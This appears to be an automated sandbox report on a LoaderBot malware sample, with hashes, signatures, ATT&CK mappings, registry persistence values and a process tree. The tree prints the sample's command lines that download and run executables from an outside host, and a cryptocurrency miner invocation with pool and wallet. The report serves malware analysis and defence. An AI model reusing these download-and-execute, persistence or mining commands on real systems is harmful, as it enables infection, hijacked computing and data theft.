loaderbot | c39b6247c3d38b4e06f05db01e440bd72cc99b2c000c2d082b22b87a64e2cc8e

Analysis

max time kernel
152s
max time network
150s
platform
windows10_x64
resource
win10-en-20211208
submitted
10/01/2022, 12:55

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General

Target

bdb742be28cdd944d6d76e7f848f5a8d.exe
Size

349KB
MD5

bdb742be28cdd944d6d76e7f848f5a8d
SHA1

81ed39584d00f6983f6332d0404bb8e8c0d7ea4b
SHA256

c39b6247c3d38b4e06f05db01e440bd72cc99b2c000c2d082b22b87a64e2cc8e
SHA512

e96c9e5fe7cf463ee29f49cd3ab24b5fc0eff8390f745f7e701451b72e0487d319c7c6ec636823cabc29b677406ed9b2445c7c4a8ffe2bfb9409b0bee3307bdf

Score

10^/10

loaderbot discovery loader miner persistence spyware stealer upx

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot

LoaderBot executable 3 IoCs

resource	yara_rule
behavioral2/memory/1192-156-0x0000000000300000-0x000000000075B000-memory.dmp	loaderbot
behavioral2/memory/1192-162-0x0000000000300000-0x000000000075B000-memory.dmp	loaderbot
behavioral2/memory/1192-163-0x0000000000300000-0x000000000075B000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2200	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
3244	extd.exe
1080	extd.exe
2012	setup1.exe
2880	extd.exe
2236	setup2.exe
1828	extd.exe
1192	setup3.exe
1060	extd.exe
1768	Driver.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001ab2e-118.dat	upx
behavioral2/files/0x000500000001ab2e-119.dat	upx
behavioral2/files/0x000500000001ab2e-123.dat	upx
behavioral2/files/0x000500000001ab2e-129.dat	upx
behavioral2/files/0x000500000001ab2e-138.dat	upx
behavioral2/files/0x000500000001ab2e-166.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2236	setup2.exe
1192	setup3.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2012 set thread context of 684	2012	setup1.exe	79

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2236	setup2.exe
2236	setup2.exe
1192	setup3.exe
1192	setup3.exe
684	RegAsm.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe
1192	setup3.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
620	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	setup2.exe
Token: SeDebugPrivilege	1192	setup3.exe
Token: SeDebugPrivilege	684	RegAsm.exe
Token: SeLockMemoryPrivilege	1768	Driver.exe
Token: SeLockMemoryPrivilege	1768	Driver.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 2744	2336	bdb742be28cdd944d6d76e7f848f5a8d.exe	69
PID 2336 wrote to memory of 2744	2336	bdb742be28cdd944d6d76e7f848f5a8d.exe	69
PID 2744 wrote to memory of 3244	2744	cmd.exe	70
PID 2744 wrote to memory of 3244	2744	cmd.exe	70
PID 2744 wrote to memory of 3244	2744	cmd.exe	70
PID 2744 wrote to memory of 2200	2744	cmd.exe	71
PID 2744 wrote to memory of 2200	2744	cmd.exe	71
PID 2744 wrote to memory of 1080	2744	cmd.exe	72
PID 2744 wrote to memory of 1080	2744	cmd.exe	72
PID 2744 wrote to memory of 1080	2744	cmd.exe	72
PID 2744 wrote to memory of 2012	2744	cmd.exe	73
PID 2744 wrote to memory of 2012	2744	cmd.exe	73
PID 2744 wrote to memory of 2012	2744	cmd.exe	73
PID 2744 wrote to memory of 2880	2744	cmd.exe	74
PID 2744 wrote to memory of 2880	2744	cmd.exe	74
PID 2744 wrote to memory of 2880	2744	cmd.exe	74
PID 2744 wrote to memory of 2236	2744	cmd.exe	75
PID 2744 wrote to memory of 2236	2744	cmd.exe	75
PID 2744 wrote to memory of 2236	2744	cmd.exe	75
PID 2744 wrote to memory of 1828	2744	cmd.exe	76
PID 2744 wrote to memory of 1828	2744	cmd.exe	76
PID 2744 wrote to memory of 1828	2744	cmd.exe	76
PID 2744 wrote to memory of 1192	2744	cmd.exe	77
PID 2744 wrote to memory of 1192	2744	cmd.exe	77
PID 2744 wrote to memory of 1192	2744	cmd.exe	77
PID 2744 wrote to memory of 1060	2744	cmd.exe	78
PID 2744 wrote to memory of 1060	2744	cmd.exe	78
PID 2744 wrote to memory of 1060	2744	cmd.exe	78
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 2012 wrote to memory of 684	2012	setup1.exe	79
PID 1192 wrote to memory of 1768	1192	setup3.exe	82
PID 1192 wrote to memory of 1768	1192	setup3.exe	82

C:\Users\Admin\AppData\Local\Temp\bdb742be28cdd944d6d76e7f848f5a8d.exe
"C:\Users\Admin\AppData\Local\Temp\bdb742be28cdd944d6d76e7f848f5a8d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\A701.bat C:\Users\Admin\AppData\Local\Temp\bdb742be28cdd944d6d76e7f848f5a8d.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3244
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\18154\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:2200
- - C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe "/download" "http://a0617224.xsph.ru/SIrrWmclYBgYamm.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1080
- - C:\Users\Admin\AppData\Local\Temp\18154\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      #cmd
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:684
- - C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe "/download" "http://a0617224.xsph.ru/c_setup.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2880
- - C:\Users\Admin\AppData\Local\Temp\18154\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2236
- - C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe "/download" "http://a0617224.xsph.ru/RMR.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1828
- - C:\Users\Admin\AppData\Local\Temp\18154\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1192
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1768
- - C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A6FF.tmp\A700.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/684-174-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/684-182-0x0000000005A70000-0x0000000005AD6000-memory.dmp

Filesize
408KB

Download
memory/684-189-0x0000000002ED0000-0x0000000002F20000-memory.dmp

Filesize
320KB

Download
memory/684-188-0x0000000009780000-0x0000000009CAC000-memory.dmp

Filesize
5.2MB

Download
memory/684-187-0x0000000009080000-0x0000000009242000-memory.dmp

Filesize
1.8MB

Download
memory/684-186-0x0000000006720000-0x000000000673E000-memory.dmp

Filesize
120KB

Download
memory/684-185-0x0000000006740000-0x00000000067D2000-memory.dmp

Filesize
584KB

Download
memory/684-184-0x0000000006620000-0x0000000006696000-memory.dmp

Filesize
472KB

Download
memory/684-183-0x0000000006A90000-0x0000000006F8E000-memory.dmp

Filesize
5.0MB

Download
memory/684-172-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/684-181-0x0000000005670000-0x0000000005C76000-memory.dmp

Filesize
6.0MB

Download
memory/684-180-0x0000000005770000-0x00000000057BB000-memory.dmp

Filesize
300KB

Download
memory/684-179-0x0000000005730000-0x000000000576E000-memory.dmp

Filesize
248KB

Download
memory/684-178-0x00000000057F0000-0x00000000058FA000-memory.dmp

Filesize
1.0MB

Download
memory/684-177-0x00000000056C0000-0x00000000056D2000-memory.dmp

Filesize
72KB

Download
memory/684-176-0x0000000005C80000-0x0000000006286000-memory.dmp

Filesize
6.0MB

Download
memory/684-175-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1192-164-0x00000000719F0000-0x0000000071A70000-memory.dmp

Filesize
512KB

Download
memory/1192-162-0x0000000000300000-0x000000000075B000-memory.dmp

Filesize
4.4MB

Download
memory/1192-168-0x0000000073DF0000-0x0000000075138000-memory.dmp

Filesize
19.3MB

Download
memory/1192-156-0x0000000000300000-0x000000000075B000-memory.dmp

Filesize
4.4MB

Download
memory/1192-159-0x0000000000DE0000-0x0000000000E25000-memory.dmp

Filesize
276KB

Download
memory/1192-160-0x00000000769D0000-0x0000000076B92000-memory.dmp

Filesize
1.8MB

Download
memory/1192-158-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/1192-190-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download
memory/1192-167-0x0000000076C20000-0x00000000771A4000-memory.dmp

Filesize
5.5MB

Download
memory/1192-161-0x0000000075B20000-0x0000000075C11000-memory.dmp

Filesize
964KB

Download
memory/1192-163-0x0000000000300000-0x000000000075B000-memory.dmp

Filesize
4.4MB

Download
memory/1192-193-0x0000000005310000-0x0000000005311000-memory.dmp

Filesize
4KB

Download
memory/1768-195-0x00000000001B0000-0x00000000001C4000-memory.dmp

Filesize
80KB

Download
memory/1768-197-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1768-196-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/2012-148-0x0000000004CF0000-0x0000000004D0E000-memory.dmp

Filesize
120KB

Download
memory/2012-132-0x0000000005370000-0x000000000586E000-memory.dmp

Filesize
5.0MB

Download
memory/2012-152-0x0000000005290000-0x000000000529A000-memory.dmp

Filesize
40KB

Download
memory/2012-134-0x0000000004D40000-0x0000000004DD2000-memory.dmp

Filesize
584KB

Download
memory/2012-131-0x0000000000350000-0x000000000044E000-memory.dmp

Filesize
1016KB

Download
memory/2012-130-0x0000000000350000-0x000000000044E000-memory.dmp

Filesize
1016KB

Download
memory/2012-139-0x0000000004DE0000-0x0000000004E56000-memory.dmp

Filesize
472KB

Download
memory/2012-144-0x0000000004E60000-0x0000000004E61000-memory.dmp

Filesize
4KB

Download
memory/2236-151-0x0000000073DF0000-0x0000000075138000-memory.dmp

Filesize
19.3MB

Download
memory/2236-169-0x00000000069A0000-0x0000000006E9E000-memory.dmp

Filesize
5.0MB

Download
memory/2236-141-0x0000000000D50000-0x0000000000DB2000-memory.dmp

Filesize
392KB

Download
memory/2236-147-0x0000000000D50000-0x0000000000DB2000-memory.dmp

Filesize
392KB

Download
memory/2236-140-0x0000000003070000-0x0000000003071000-memory.dmp

Filesize
4KB

Download
memory/2236-149-0x00000000719F0000-0x0000000071A70000-memory.dmp

Filesize
512KB

Download
memory/2236-170-0x0000000006580000-0x0000000006612000-memory.dmp

Filesize
584KB

Download
memory/2236-150-0x0000000076C20000-0x00000000771A4000-memory.dmp

Filesize
5.5MB

Download
memory/2236-142-0x00000000769D0000-0x0000000076B92000-memory.dmp

Filesize
1.8MB

Download
memory/2236-171-0x0000000006560000-0x000000000656A000-memory.dmp

Filesize
40KB

Download
memory/2236-146-0x00000000030C0000-0x0000000003105000-memory.dmp

Filesize
276KB

Download
memory/2236-143-0x0000000075B20000-0x0000000075C11000-memory.dmp

Filesize
964KB

Download
memory/2236-145-0x0000000000D50000-0x0000000000DB2000-memory.dmp

Filesize
392KB

Download
memory/2236-157-0x0000000005BA0000-0x0000000005BA1000-memory.dmp

Filesize
4KB

Download